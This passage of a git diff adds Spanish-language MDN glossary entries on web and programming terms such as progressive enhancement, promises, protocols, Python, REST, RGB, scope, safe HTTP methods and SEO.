+   <li>{{Glossary("bigint")}}</li>
+   <li>{{Glossary("boolean")}}</li>
+   <li>{{Glossary("null")}}</li>
+   <li>{{Glossary("undefined")}}</li>
+   <li>{{Glossary("symbol")}}</li>
+  </ol>
+ </li>
+ <li>{{JSxRef("../Data_structures", "Tipos de datos JavaScript")}}</li>
+</ol>
+</section>
diff --git a/files/es/glossary/progressive_enhancement/index.html b/files/es/glossary/progressive_enhancement/index.html
new file mode 100644
index 0000000000..f8e8584134
--- /dev/null
+++ b/files/es/glossary/progressive_enhancement/index.html
@@ -0,0 +1,24 @@
+---
+title: Mejora Progresiva
+slug: Glossary/Progressive_Enhancement
+tags:
+  - Accesibilidad
+  - Diseño
+  - Glosario
+translation_of: Glossary/Progressive_Enhancement
+---
+<p><strong>Mejora progresiva</strong> es una filosofía de diseño que se centra en proporcionar una base de contenido y funcionalidad esenciales para la mayor cantidad de usuarios posible. Al mismo tiempo va más allá y trata de ofrecer la mejor experiencia posible sólo a los usuarios de los navegadores más modernos los cuales pueden ejecutar todo código requerido.</p>
+
+<p>La <a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection">detección de características</a> se usa generalmente para determinar si los navegadores pueden manejar todo el contenido de alto nivel o no. Habitualmente se usan los <a href="/en-US/docs/Glossary/Polyfill">polyfills</a> para incorporar las características faltantes con JavaScript.</p>
+
+<p>Se debe prestar especial atención a la accesibilidad, siempre que sea posible, se deben proporcionar alternativas aceptables.</p>
+
+<p>Es una técnica útil que permite a los desarrolladores web centrarse en desarrollar los mejores sitios web posible al tiempo que equilibran los problemas en los sitios web a los que acceden múltiples agentes de usuarios desconocidos. {{Glossary("Graceful degradation")}} es un concepto relacionado pero diferente — a menudo entendido como el acrónimo de mejora progresiva. En realidad ambos enfoquen son válidos y pueden complementarse entre sí.</p>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Mejora progresiva")}} en Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/promise/index.html b/files/es/glossary/promise/index.html
new file mode 100644
index 0000000000..867e3614d4
--- /dev/null
+++ b/files/es/glossary/promise/index.html
@@ -0,0 +1,30 @@
+---
+title: Promesa
+slug: Glossary/Promise
+tags:
+  - Asíncrono
+  - Glosario
+  - Promesa
+  - Promesas
+translation_of: Glossary/Promise
+---
+<p>Una <strong>{{jsxref("Promesa")}}</strong> es un {{Glossary("objeto")}} devuelto por una {{Glossary("función")}} que no ha completado su tarea. La promesa representa literalmente una promesa creada por una función a la que le llegará un resultado en un futuro.</p>
+
+<p>Cuando la función termina su tarea {{Glossary("asynchronous", "de forma asíncrona")}}, una función del objeto "promesa" será ejecutada.</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<p>Para obtener más información, echa un vistazo a los siguientes enlaces</p>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li>{{interwiki("wikipedia", "Valor_futuro_(informática)", "Valor futuro")}}</li>
+</ul>
+
+<h3 id="Referencias_técnicas">Referencias técnicas</h3>
+
+<ul>
+ <li>{{jsxref("Promise")}} in the <a href="/en-US/docs/Web/JavaScript/Reference">JavaScript Reference</a>.</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Using_promises">Using promises</a></li>
+</ul>
diff --git a/files/es/glossary/propiedad/index.html b/files/es/glossary/propiedad/index.html
new file mode 100644
index 0000000000..07eae32e78
--- /dev/null
+++ b/files/es/glossary/propiedad/index.html
@@ -0,0 +1,11 @@
+---
+title: Propiedad
+slug: Glossary/propiedad
+tags:
+  - Desambiguación
+  - Glosario
+translation_of: Glossary/property
+---
+<p>El término <strong>propiedad</strong> puede tener varios significados según el contexto. Se puede referir a:</p>
+
+<p>\{{GlossaryDisambiguation}}</p>
diff --git a/files/es/glossary/protocol/index.html b/files/es/glossary/protocol/index.html
new file mode 100644
index 0000000000..13f18699a5
--- /dev/null
+++ b/files/es/glossary/protocol/index.html
@@ -0,0 +1,20 @@
+---
+title: Protocolo
+slug: Glossary/Protocol
+tags:
+  - Glosario
+  - Infraestructura
+  - Protocolo
+  - Protocolos
+translation_of: Glossary/Protocol
+---
+<p id="Summary">Un <strong>protocolo</strong> es un conjunto de reglas que definen cómo se intercambian los datos dentro o entre computadores. La comunicación entre dispositivos requiere que estos estén de acuerdo con el formato de los datos que están siendo intercambiados. Al conjunto de reglas que definen este formato se le llama protocolo.</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li><a href="https://es.wikipedia.org/wiki/Protocolo_de_comunicaciones">Protocolo</a> en Wikipedia</li>
+ <li><a href="http://www.rfc-editor.org/search/standards.php">RFC Official Internet Protocol Standards</a></li>
+</ul>
diff --git a/files/es/glossary/prototype-based_programming/index.html b/files/es/glossary/prototype-based_programming/index.html
new file mode 100644
index 0000000000..538385b93e
--- /dev/null
+++ b/files/es/glossary/prototype-based_programming/index.html
@@ -0,0 +1,16 @@
+---
+title: Prototype-based programming
+slug: Glossary/Prototype-based_programming
+translation_of: Glossary/Prototype-based_programming
+---
+<p><strong>La programación basada en prototipos </strong>es un estilo de {{Glossary("OOP", "programación orientada a objetos")}} en el que {{Glossary('Clase', 'clases')}} no se definen explícitamente, sino que se derivan de agregar propiedades y métodos a una instancia de otra clase o, con menos frecuencia, agregarlos a un objeto vacío.</p>
+
+<p>En palabras simples: este tipo de estilo permite la creación de un {{Glossary('Objeto', 'objeto')}} sin definir primero su {{Glossary('Clase', 'clase')}}.</p>
+
+<h2 id="Aprender_más">Aprender más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Prototype-based programming", "Prototype-based programming")}} on Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/prototype/index.html b/files/es/glossary/prototype/index.html
new file mode 100644
index 0000000000..dfa36e370b
--- /dev/null
+++ b/files/es/glossary/prototype/index.html
@@ -0,0 +1,16 @@
+---
+title: Prototipo
+slug: Glossary/Prototype
+translation_of: Glossary/Prototype
+---
+<p>Un prototipo es un modelo que muestra pronto en el ciclo de desarrollo la apariencia y el comportamiento de una aplicación o producto.</p>
+
+<p>Mira <a href="/en-US/docs/Web/JavaScript/Inheritance_and_the_prototype_chain">La herencia y la cadena de prototipado.</a></p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Software Prototyping")}} en la Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/pseudo-clase/index.html b/files/es/glossary/pseudo-clase/index.html
new file mode 100644
index 0000000000..b3984258d3
--- /dev/null
+++ b/files/es/glossary/pseudo-clase/index.html
@@ -0,0 +1,20 @@
+---
+title: Pseudo-clase
+slug: Glossary/Pseudo-clase
+tags:
+  - CSS
+  - Glosario
+  - Pseudo-clase
+  - Selector
+  - Selectores
+translation_of: Glossary/Pseudo-class
+---
+<p>En CSS, un selector de <strong>pseudo-clase </strong>apunta a elementos dependiendo de su estado en lugar de en su información en el arbol del documento. Por ejemplo, el selector <code>a</code>{{ cssxref(":visited") }} aplica estilos solamente a los links que el usuario ha visitado.</p>
+
+<h2 id="Aprender_más">Aprender más</h2>
+
+<h3 id="Referencía_técnica">Referencía técnica</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/Pseudo-classes">Pseudo-class documentación</a></li>
+</ul>
diff --git a/files/es/glossary/pseudocódigo/index.html b/files/es/glossary/pseudocódigo/index.html
new file mode 100644
index 0000000000..7a68d05ecb
--- /dev/null
+++ b/files/es/glossary/pseudocódigo/index.html
@@ -0,0 +1,18 @@
+---
+title: Pseudocódigo
+slug: Glossary/Pseudocódigo
+tags:
+  - CodingScripting
+  - Glosario
+  - Pseudocódigo
+translation_of: Glossary/Pseudocode
+---
+<p>El pseudocódigo se refiere a la sintaxis del código que generalmente se usa para indicar a los humanos cómo funciona dicho código, o para ilustrar el diseño de un elemento. No funcionará si intentas ejecutarlo como código.</p>
+
+<h2 id="Saber_más"><strong>Saber más</strong></h2>
+
+<h3 id="Conocimientos_generales"><strong>Conocimientos generales</strong></h3>
+
+<ul>
+ <li>{{interwiki("wikipedia", "Pseudocódigo", "Pseudocódigo")}} en Wikipedia.</li>
+</ul>
diff --git a/files/es/glossary/public-key_cryptography/index.html b/files/es/glossary/public-key_cryptography/index.html
new file mode 100644
index 0000000000..c21235dec7
--- /dev/null
+++ b/files/es/glossary/public-key_cryptography/index.html
@@ -0,0 +1,18 @@
+---
+title: Criptografía de clave pública
+slug: Glossary/Public-key_cryptography
+translation_of: Glossary/Public-key_cryptography
+---
+<p> </p>
+
+<p dir="ltr">La criptografía de clave pública es un sistema criptográfico en el que las claves vienen en pares. La transformación realizada por una de las claves solo se puede deshacer con la otra clave. Una clave (la clave privada) se mantiene secreta mientras que la otra se hace pública.</p>
+
+<p dir="ltr">Cuando se usa para firmas digitales, la clave privada se usa para firmar y la clave pública para verificar. Esto significa que cualquier persona puede verificar una firma, pero solo el propietario de la clave privada correspondiente podría haberla generado.</p>
+
+<p dir="ltr">Cuando se utiliza para el cifrado, la clave pública se utiliza para cifrar y la clave privada se utiliza para descifrar. Esto le da a los sistemas de cifrado de clave pública una ventaja sobre los sistemas de cifrado simétrico, ya que la clave de cifrado se puede hacer pública: cualquier persona podría cifrar un mensaje al propietario de la clave privada, pero solo el propietario de la clave privada podría descifrarlo. Sin embargo, suelen ser mucho más lentos que los algoritmos simétricos y el tamaño del mensaje que pueden cifrar es proporcional al tamaño de la clave, por lo que no se ajustan bien a los mensajes largos.</p>
+
+<p dir="ltr">Como resultado, es común que un sistema de cifrado utilice un algoritmo simétrico para cifrar el mensaje, y luego un sistema de clave pública para cifrar la clave simétrica. Esta disposición puede conferir los beneficios de ambos sistemas.</p>
+
+<p dir="ltr">Los sistemas de cifrado de clave pública más utilizados son RSA (para firma y encriptación), DSA (para firma) y Diffie-Hellman (para acuerdo de clave).</p>
+
+<p> </p>
diff --git a/files/es/glossary/python/index.html b/files/es/glossary/python/index.html
new file mode 100644
index 0000000000..15540845f5
--- /dev/null
+++ b/files/es/glossary/python/index.html
@@ -0,0 +1,24 @@
+---
+title: Python
+slug: Glossary/Python
+tags:
+  - Glosario
+  - Lenguaje
+  - Principiante
+  - Python
+  - introducción
+  - programacion
+translation_of: Glossary/Python
+---
+<p><strong>Python</strong> es un leguaje de programación de alto nivel y de propósito general. Utiliza un enfoque multiparadigma, lo que significa que soporta programación orientada a objetos, procedural y en menor medida, programación funcional.</p>
+
+<p>Fue creado por Guido van Rossun como sucesor a otro lenguaje (llamado ABC) entre 1985 y 1990, y es usado actualmente en una gran variedad de campos, como el desarrollo web, en la creación de aplicaciones actuales y para la construcción de archivos de procesamiento por lotes (Scripts).</p>
+
+<p>Python es administrado y soportado por la <a href="https://www.python.org/psf">Python Software Foundation</a>. Está desarrollado bajo licencia de código abierto, lo que lo hace libre de usar y de distribuir, incluso para uso comercial.</p>
+
+<h2 id="Aprende_Más">Aprende Más</h2>
+
+<ul>
+ <li>{{interwiki('wikipedia','Python','Python')}} en Wikipedia</li>
+ <li><a href="http://docs.python.org.ar/tutorial/3/index.html">Tutorial de Python en Español</a></li>
+</ul>
diff --git a/files/es/glossary/recursión/index.html b/files/es/glossary/recursión/index.html
new file mode 100644
index 0000000000..866ba64a33
--- /dev/null
+++ b/files/es/glossary/recursión/index.html
@@ -0,0 +1,18 @@
+---
+title: Recursión
+slug: Glossary/Recursión
+tags:
+  - CodingScripting
+  - Glosario
+translation_of: Glossary/Recursion
+---
+<p>Es el acto de una función llamándose a sí misma. La recursión es utilizada para resolver problemas que contienen subproblemas más pequeños. Una función recursiva puede recibir 2 entradas: un caso base (finaliza la recursión) o un un caso recursivo (continúa la recursión).</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li><a href="https://es.wikipedia.org/wiki/Recursión_(ciencias_de_computación)">Recursión</a> en Wikipedia</li>
+ <li><a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Guide/Funciones#Recursion">Más detalles sobre recursión en Javascript</a></li>
+</ul>
diff --git a/files/es/glossary/reflow/index.html b/files/es/glossary/reflow/index.html
new file mode 100644
index 0000000000..baf326bd1b
--- /dev/null
+++ b/files/es/glossary/reflow/index.html
@@ -0,0 +1,12 @@
+---
+title: Reflow
+slug: Glossary/Reflow
+translation_of: Glossary/Reflow
+---
+<p><strong>Un Reflow</strong> sucede cuando un {{glossary("navegador")}} debe procesar y pintar parte de, o toda una pagina web nuevamente, Como despues de actualizar un sitio web interactivo</p>
+
+<h2 id="Aprende_más">Aprende más</h2>
+
+<ul>
+ <li>Artículo de google <a href="https://developers.google.com/speed/articles/reflow">"Minimizing browser reflow"</a></li>
+</ul>
diff --git a/files/es/glossary/regular_expression/index.html b/files/es/glossary/regular_expression/index.html
new file mode 100644
index 0000000000..ac8b7d6c64
--- /dev/null
+++ b/files/es/glossary/regular_expression/index.html
@@ -0,0 +1,29 @@
+---
+title: Expresiones regulares
+slug: Glossary/Regular_expression
+tags:
+  - Expresion Regular
+  - Expresiones Regulares
+  - Glosario
+  - JavaScript
+translation_of: Glossary/Regular_expression
+---
+<p><strong>Expresiones regulares</strong> (o <em>regex</em>) son reglas que definen las secuencias de caracteres obtenidas en una busqueda.</p>
+
+<p>Las expresiones regulares están incluidas en varios lenguages, pero las más conocida es la de Perl, que ha dado lugar a su propio ecosistema llamado PCRE (<em>Perl Compatible Regular Expression</em>). En la web, {{glossary("JavaScript")}} proporciona otra implementación de expresiones regulares a través del objeto {{jsxref("RegExp")}}.</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Regular expressions")}} en Wikipedia</li>
+ <li><a href="http://regexone.com/">Interactive tutorial</a></li>
+ <li><a href="http://regexper.com/">Visualized Regular Expression</a></li>
+</ul>
+
+<h3 id="Referencia_técnica">Referencia técnica</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions">Writing regular expressions in JavaScript</a></li>
+</ul>
diff --git a/files/es/glossary/responsive_web_design/index.html b/files/es/glossary/responsive_web_design/index.html
new file mode 100644
index 0000000000..271f00e2ed
--- /dev/null
+++ b/files/es/glossary/responsive_web_design/index.html
@@ -0,0 +1,16 @@
+---
+title: Diseño web responsivo
+slug: Glossary/Responsive_web_design
+translation_of: Glossary/Responsive_web_design
+---
+<p>Diseño web responsivo (del inglés <em><strong>R</strong>esponsive <strong>W</strong>eb <strong>D</strong>esign</em>) o <strong>RWD</strong> es un concepto de desarrollo web que se centra en hacer que los sitios se vean y se comporten de manera óptima en todos los dispositivos informáticos personales, desde el escritorio hasta el móvil.</p>
+
+<h2 id="Aprender_más">Aprender más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/es/docs/Web_Development/Responsive_Web_design">Resumen y recursos</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web_Development/Mobile/Responsive_design">Pros and cons of going responsive</a></li>
+ <li><a href="http://msdn.microsoft.com/en-us/magazine/hh653584.aspx">Diseño web responsivo</a></li>
+</ul>
diff --git a/files/es/glossary/rest/index.html b/files/es/glossary/rest/index.html
new file mode 100644
index 0000000000..9e4787327f
--- /dev/null
+++ b/files/es/glossary/rest/index.html
@@ -0,0 +1,30 @@
+---
+title: REST
+slug: Glossary/REST
+tags:
+  - Arquitectura
+  - HTTP
+  - Rest
+translation_of: Glossary/REST
+---
+<p>El término "Transferencia de Estado Representacional" (<strong>REST</strong>) representa un conjunto de características de diseño de arquitecturas software que aportan confiabilidad, eficiencia y escalibilidad a los sistemas distribuidos. Un sistema es llamado RESTful cuando se ajusta a estas características.</p>
+
+<p>La idea básica de REST es que un recurso, e.j. un documento, es transferido con su estado y su relaciones (hipertexto) mediante formatos y operaciones estandarizadas bien definidas.</p>
+
+<p>Como {{Glossary("HTTP")}}, el protocolo estandar de la {{glossary("World Wide Web","Web")}}, también transfiere documentos e hipertexto, las APIs HTTP a veces son llamadas APIs RESTful, servicios RESTful, o simplemente servicios REST, aunque no se ajusten del todo a la deficinición de REST. Los principiantes pueden pensar que una API REST es un servicio HTTP que puede ser llamado mediante librerias y herramientas web estandar.</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Véase_También">Véase También</h3>
+
+<ul>
+ <li><a href="http://www.restapitutorial.com/">restapitutorial.com</a></li>
+ <li><a href="http://restcookbook.com/">restcookbook.com</a></li>
+</ul>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Representational_state_transfer", "REST")}} on Wikipedia</li>
+ <li><a href="https://www.service-architecture.com/articles/web-services/representational_state_transfer_rest.html">REST Architecture</a></li>
+</ul>
diff --git a/files/es/glossary/rgb/index.html b/files/es/glossary/rgb/index.html
new file mode 100644
index 0000000000..a14bb12211
--- /dev/null
+++ b/files/es/glossary/rgb/index.html
@@ -0,0 +1,27 @@
+---
+title: RGB
+slug: Glossary/RGB
+tags:
+  - CSS
+  - Diseño
+  - Guía
+  - Principiante
+translation_of: Glossary/RGB
+---
+<p>Red Green Blue (RGB) es un modelo de color que representa los colores como mezclas de tres componentes subyacentes (o canales), rojo, verde y azul. Cada color se describe mediante una secuencia de tres números (normalmente entre 0.0 y 1.0, o entre 0 y 255) que representan las diferentes intensidades (o contribuciones) de rojo, verde y azul para determinar el color final.</p>
+
+<p>Hay muchas formas de describir los componentes RGB de un color. En {{Glossary("CSS")}} se pueden representar como un solo entero de 24 bits en notación hexadecimal (por ejemplo, <code>#ADD8E6</code> is azul claro), o en notación funcional como tres enteros de 8 bits separados (por ejemplo , rgb (46, 139, 87) es verde mar). En {{Glossary("OpenGL")}}, {{Glossary("WebGL")}}, y {{Glossary("GLSL")}} los componentes rojo-verde-azul son fracciones (números en coma flotante entre 0.0 y 1.0), aunque en el búfer de color real normalmente se almacenan como enteros de 8 bits. Gráficamente, un color se puede representar como un punto en una cuadrícula o cubo tridimensional, donde cada dimensión (o eje) corresponde a un canal diferente.</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li><a href="https://es.wikipedia.org/wiki/RGB">Modelos de color RGB en Wikipedia</a></li>
+</ul>
+
+<h3 id="Véase_también">Véase también</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/es/docs/Web/CSS/color_value">CSS data type: &lt;color&gt;</a></li>
+</ul>
diff --git a/files/es/glossary/rss/index.html b/files/es/glossary/rss/index.html
new file mode 100644
index 0000000000..7dbf36678b
--- /dev/null
+++ b/files/es/glossary/rss/index.html
@@ -0,0 +1,29 @@
+---
+title: RSS
+slug: Glossary/RSS
+tags:
+  - Compartit
+  - Glosario
+  - Noticias
+  - RSS
+  - Web
+  - XML
+translation_of: Glossary/RSS
+---
+<p><em>RSS </em>(Really Simple Syndication en español Sindicación Realmente Simple) hace referencia a los diferentes formatos de <a href="/es/docs/Glossary/XML">XML</a> diseñados para sitios web de noticias.</p>
+
+<p>Cuando te subscribes a un <em>feed </em>RSS <em>(</em>boletín de noticias de servicios web), éste te envía información y actualizaciones al <em>feed</em> de tu lector RSS, y de esta manera no es necesario que el usuario busque manuelmente en cada sitio web.</p>
+
+<h2 id="Para_saber_más...">Para saber más...</h2>
+
+<h3 id="Cultura_General">Cultura General</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "RSS")}} en Wikipedia</li>
+</ul>
+
+<h3 id="Referencia_Técnica">Referencia Técnica</h3>
+
+<ul>
+ <li><a href="http://www.rssboard.org/rss-specification">Última especificación de RSS</a></li>
+</ul>
diff --git a/files/es/glossary/ruby/index.html b/files/es/glossary/ruby/index.html
new file mode 100644
index 0000000000..04a87e53be
--- /dev/null
+++ b/files/es/glossary/ruby/index.html
@@ -0,0 +1,24 @@
+---
+title: Ruby
+slug: Glossary/Ruby
+tags:
+  - Glosario
+  - Ruby
+translation_of: Glossary/Ruby
+---
+<p><em>Ruby</em> es un lenguaje de programación de código abierto. En el contexto {{glossary("world wide web","Web")}}, Ruby se suele usar en el lado del servidor con el marco <em>Ruby On Rails</em> (ROR) para producir sitios web y aplicaciones.</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li><a href="https://es.wikipedia.org/wiki/Ruby">Ruby</a> en Wikipedia</li>
+</ul>
+
+<h3 id="Referencias_técnicas">Referencias técnicas</h3>
+
+<ul>
+ <li><a href="https://www.ruby-lang.org/es/">Sitio web oficial de Ruby</a></li>
+ <li><a href="https://rubyonrails.org/">Sitio web oficial de Ruby On Rails</a></li>
+</ul>
diff --git a/files/es/glossary/scope/index.html b/files/es/glossary/scope/index.html
new file mode 100644
index 0000000000..5d8f3aadf0
--- /dev/null
+++ b/files/es/glossary/scope/index.html
@@ -0,0 +1,41 @@
+---
+title: Scope
+slug: Glossary/Scope
+translation_of: Glossary/Scope
+---
+<p>El contexto actual de ejecución. El contexto en el que los valores y las expresiones son "visibles" o pueden ser referenciados. Si una variable u otra expresión no está "en el Scope- alcance actual", entonces no está disponible para su uso. Los Scope también se pueden superponer en una jerarquía, de modo que los Scope secundarios tengan acceso a los ámbitos primarios, pero no al revés.</p>
+
+<p>Una función sirve como un cierre en JavaScript y, por lo tanto, crea un ámbito, de modo que (por ejemplo) no se puede acceder a una variable definida exclusivamente dentro de la función desde fuera de la función o dentro de otras funciones. Por ejemplo, lo siguiente no es válido:</p>
+
+
+
+<pre class="syntaxbox">function exampleFunction() {
+    var x = "declarada dentro de la función"; // x solo se puede utilizar en exampleFunction
+    console.log("funcion interna");
+    console.log(x);
+}
+
+console.log(x);  // error</pre>
+
+<p>Sin embargo, el siguiente código es válido debido a que la variable se declara fuera de la función, lo que la hace global:</p>
+
+<pre class="syntaxbox">var x = "función externa declarada";
+
+
+exampleFunction();
+
+function exampleFunction() {
+    console.log("funcion interna");
+    console.log(x);
+}
+
+console.log("funcion externa");
+console.log(x);</pre>
+
+<h2 id="Aprende_mas">Aprende mas</h2>
+
+<h3 id="Conocimentos_Generales">Conocimentos Generales</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "Scope (computer science)")}} on Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/scv/index.html b/files/es/glossary/scv/index.html
new file mode 100644
index 0000000000..be400de190
--- /dev/null
+++ b/files/es/glossary/scv/index.html
@@ -0,0 +1,20 @@
+---
+title: SCV
+slug: Glossary/SCV
+tags:
+  - CodingScripting
+  - Glosario
+  - SCV
+translation_of: Glossary/SCM
+---
+<p>Un SCV (sistema de control de versiones) es un sistema para gestionar código fuente. Normalmente se refiere al uso de software para manejar versiones de ficheros fuente. Un programador puede modificar ficheros de código fuente sin miedo a eliminar código que funciona, porque un SCV realiza un seguimiento de cómo el código fuente ha cambiado y quién ha realizado los cambios.</p>
+
+<p>Algunos sistemas SCV son CVS, SVN y Git.</p>
+
+<h2 id="Saber_más">Saber más</h2>
+
+<h3 id="Conocimiento_general">Conocimiento general</h3>
+
+<ul>
+ <li><a href="https://es.wikipedia.org/wiki/Control_de_versiones">Control de versiones</a> en Wikipedia</li>
+</ul>
diff --git a/files/es/glossary/seguro/index.html b/files/es/glossary/seguro/index.html
new file mode 100644
index 0000000000..f5c1c42763
--- /dev/null
+++ b/files/es/glossary/seguro/index.html
@@ -0,0 +1,40 @@
+---
+title: Seguro
+slug: Glossary/seguro
+translation_of: Glossary/safe
+---
+<p>Un método  HTTP es <strong>seguro</strong> cuando no altera el estado del servidor. En otras palabras, un método HTTP es seguro solo cuando ejecuta una operación de lectura. Todos los métodos seguros también son {{glossary("idempotent")}} así como algunos, pero no todos, métodos inseguros como {{HTTPMethod("PUT")}}, o {{HTTPMethod("DELETE")}}.</p>
+
+<p>Incluso si los métodos seguros tienen una semántica de solo lectura, los servidores pueden alterar su estado: por ejemplo, pueden registrar o mantener estadísticas. Lo importante aquí es que al llamar a un método seguro, el cliente no solicita ningún cambio en el servidor y, por lo tanto, no creará una carga o carga innecesaria para el servidor. Los navegadores pueden llamar a métodos seguros sin temor a causar ningún daño al servidor: esto les permite realizar actividades como la búsqueda previa sin riesgos. Los rastreadores web también confían en llamar a métodos seguros.</p>
+
+<p>Los métodos seguros no solo sirven archivos estáticos; un servidor puede generar una respuesta a un método seguro sobre la marcha, siempre que el script de generación garantice la seguridad: no debe desencadenar efectos externos, como desencadenar un pedido en un sitio web de comercio electrónico.</p>
+
+<p>Es responsabilidad de la aplicación en el servidor implementar la semántica segura correctamente, el propio servidor web, ya sea Apache, nginx o IIS, no puede imponerlo por sí mismo. En particular, una aplicación no debe permitir que {{HTTPMethod("GET")}} solicite alterar su estado.</p>
+
+<p>Una petición de un método seguro, no cambia ningún estado en el servidor:</p>
+
+<pre>GET /pageX.html HTTP/1.1
+</pre>
+
+<p>Una petición de un método inseguro, puede cambiar el estado en el servidor:</p>
+
+<pre>POST /pageX.html HTTP/1.1 </pre>
+
+<p>Una petición de un método idempotente pero no seguro:</p>
+
+<pre>DELETE /idX/delete HTTP/1.1</pre>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li>Definición de <a href="https://tools.ietf.org/html/rfc7231#section-4.2.1">seguro</a> en la especificación HTTP.</li>
+</ul>
+
+<h3 id="Conocimientos_técnicos">Conocimientos técnicos</h3>
+
+<ul>
+ <li>Descripción de los metodos seguros: {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}}, {{HTTPMethod("OPTIONS")}}</li>
+ <li>Descripción de los métodos inseguros: {{HTTPMethod("PUT")}}, {{HTTPMethod("DELETE")}}, {{HTTPMethod("POST")}}</li>
+</ul>
diff --git a/files/es/glossary/sentencias/index.html b/files/es/glossary/sentencias/index.html
new file mode 100644
index 0000000000..501478a820
--- /dev/null
+++ b/files/es/glossary/sentencias/index.html
@@ -0,0 +1,23 @@
+---
+title: Sentencias
+slug: Glossary/Sentencias
+tags:
+  - Glosario
+  - Principiante
+translation_of: Glossary/Statement
+---
+<p>En un lenguaje de programación, una <strong>sentencia</strong> es una línea de código al mando de una tarea <span style="line-height: 1.5;">Cada programa consiste en una secuencia de sentencias.</span></p>
+
+<h2 id="Aprender_más" style="line-height: 30px; font-size: 2.14285714285714rem;">Aprender más</h2>
+
+<h3 id="Referencia_técnica">Referencia técnica</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements">Sentencias y declaraciones en JavaScript</a> (en inglés)</li>
+</ul>
+
+<h3 id="Conocimientos_generales">Conocimientos generales</h3>
+
+<ul>
+ <li><a href="http://en.wikipedia.org/wiki/Statement_(computer_science)">Sentencias - Wikipedia</a> (en inglés)</li>
+</ul>
diff --git a/files/es/glossary/seo/index.html b/files/es/glossary/seo/index.html
new file mode 100644
index 0000000000..f00704b082
--- /dev/null
+++ b/files/es/glossary/seo/index.html
@@ -0,0 +1,37 @@
+---
+title: SEO
+slug: Glossary/SEO
+tags:
+  - SEO
+  - buscadores
+  - busquedas
+  - posicionamiento web
+translation_of: Glossary/SEO
+---
+<p><strong>SEO</strong> (Search Engine Optimization) también conocido como posicionamiento web, es el proceso de hacer un sitio web más visible en los resultados de búsqueda o mejorar el ranking de búsqueda.</p>
+
+<p>Los motores de búsqueda siguen los enlaces de una página a otra, y el índice del contenido encontrado. Al realizar una búsqueda, el motor de búsqueda muestra el contenido indexado en base a su tabla de contenidos organizándolos guiados por las reglas de su algoritmo. El cumplimiento de las directrices de los buscadores con exactitud no implica el correcto posicionamiento del proyecto asociado en los mejores resultados, pero sí la ausencia de una penalización por parte del algoritmo del buscador.</p>
+
+<p>Los motores de búsqueda dan algunas pautas para el SEO, pero los grandes motores de búsqueda mantienen resultado la clasificación como secreto comercial. El SEO combina las directrices oficiales del motor de búsqueda, el conocimiento empírico y el conocimiento teórico de los artículos científicos o patentes.</p>
+
+<p>Métodos de SEO se dividen en dos grandes clases:</p>
+
+<dl>
+ <dt>SEO on Page</dt>
+ <dd>Conjunto de factores que existen en la web a posicionar que influyen en los resultados de búsqueda. Estos factores son tales como titles, descriptions, contenido y calidad del mismo, densidad de términos, correcta estructuración de contenidos...</dd>
+ <dt>SEO off Page</dt>
+ <dd>Conjunto de factores externos que influyen en los resultados de búsqueda. Estos factores son la experiencia del usuario en la web a posicionar, tráfico y sobre todo los links o enlaces externos que apuntan a tu web.</dd>
+ <dt> </dt>
+</dl>
+
+<h2 id="Aprende_más_en">Aprende más en</h2>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "SEO")}} on Wikipedia</li>
+</ul>
+
+<h3 id="Aprende_SEO">Aprende SEO</h3>
+
+<ul>
+ <li><a href="https://static.googleusercontent.com/media/www.google.com/es//intl/es/webmasters/docs/guia_optimizacion_motores_busqueda.pdf">Google Webmaster</a></li>
+</ul>
diff --git a/files/es/glossary/sgml/index.html b/files/es/glossary/sgml/index.html
new file mode 100644
index 0000000000..bc186498d4
--- /dev/null
+++ b/files/es/glossary/sgml/index.html
@@ -0,0 +1,21 @@
+---
+title: SGML
+slug: Glossary/SGML
+tags:
+  - CodingScripting
+  - Composing
+  - Glossary
+  - SGML
+  - es
+translation_of: Glossary/SGML
+---
